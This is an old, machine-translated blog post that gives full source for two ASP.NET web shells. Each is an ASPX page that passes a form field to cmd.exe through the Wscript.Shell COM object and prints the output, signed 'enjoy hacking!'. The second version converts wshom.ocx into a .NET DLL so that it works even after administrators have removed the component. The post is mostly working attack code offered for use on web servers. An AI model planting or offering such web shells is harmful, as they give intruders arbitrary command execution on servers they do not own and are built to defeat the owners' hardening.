Asp. NET provides two ways for us to use COM components: 1, the Creatobject method of the server object, and 2, to convert a COM component into a. NET component.
· Creatobject method for the server object
This method is relatively simple, direct use is. Of course, the premise is that the server has registered the component, and Wscript.Shell is the system itself, we do not worry. Just be aware of the nuances of asp.net and ASP syntax when writing code. Give the code directly as follows:
<!--
Titel:WScript.Shell. NET Version 1
Author:lake2
Mail:lake2@mail.csdn.net
site:http://lake2.0x54.org
Thanks:internet
Date:2005-8-20
–>
<%@ Page language= "VB" validaterequest = "false" ASPCompat = "true"%>
<script runat= "Server" >
Sub Runcmd (SRC as Object, E as EventArgs)
Dim Strresult as String
Dim Cmdshell as Object
Cmdshell = Server.CreateObject ("Wscript.Shell")
strresult = Cmdshell.exec (Cmdpath.text & "/C" & Cmdbox.text). Stdout.readall
strresult = Replace (Strresult, "<", "<")
strresult = Replace (Strresult, ">", ">")
Resultlabel.text = "<pre>" & Strresult & "</pre>"
End Sub
</script>
<body>
<form runat= "Server" >
"Cmd.exe" ' Path: <asp:textbox id= "Cmdpath" width= "text=" "cmd.exe" runat= "Server"/>
<br>
Your Command: <asp:textbox id= "Cmdbox" width= "" runat= "Server"/>
<asp:button id= "button" text= "Run" onclick= "Runcmd" runat= "Server"/>
<br>
<asp:label id= "ResultLabel" runat= "Server"/>
</form>
<div align= "center" > ——— –<font color= "#0000FF" >enjoy hacking!</font> ——— –
</div>
</body>
Save it as an ASPX file and access it.
• Convert COM components to. NET components
Microsoft has provided us with the Type Library Importer (importer), through which we can use COM components. After the conversion, there will be a DLL file that needs to be placed in the bin directory of the Web directory in order for the component to be used.
Although this is more than one DLL, but this DLL does not need to register can be used directly, very convenient, which is asp.net and ASP, one of the differences. Haha, some BT administrators have nothing to remove the "harmful" components, now he has no way to ^_^
Wscript.Shell object is%windir%\system32\wshom.ocx, we copy it out to the type Library Importer conversion: Tlbimp.exe Wshom.ocx/out:wshomx.dll
Then put the WSHomx.dll under the bin of the Web directory. Then write the code slightly different from the previous code.
<!--
Titel:WScript.Shell. NET Version 2
Author:lake2
Mail:lake2@mail.csdn.net
site:http://lake2.0x54.org
Thanks:internet
Date:2005-8-20
–>
<%@ Page language= "VB" validaterequest= "false"%>
<script runat= "Server" >
Sub Runcmd (SRC as Object, E as EventArgs)
Dim Strresult as String
Dim Cmdshell as New Wshomx.wshshell
......
(After the same Code 1)
Now visit to see the effect of it:)
Similarly, we can use the FSO to read and write files under ASP.net, application execute commands, JMail send mails, and so on. Oh. NET has a promising future ah.
(The text of the program click here to download.) Wscmd.aspx can be used directly; wsxcmd.aspx need to use Wshomx.dll)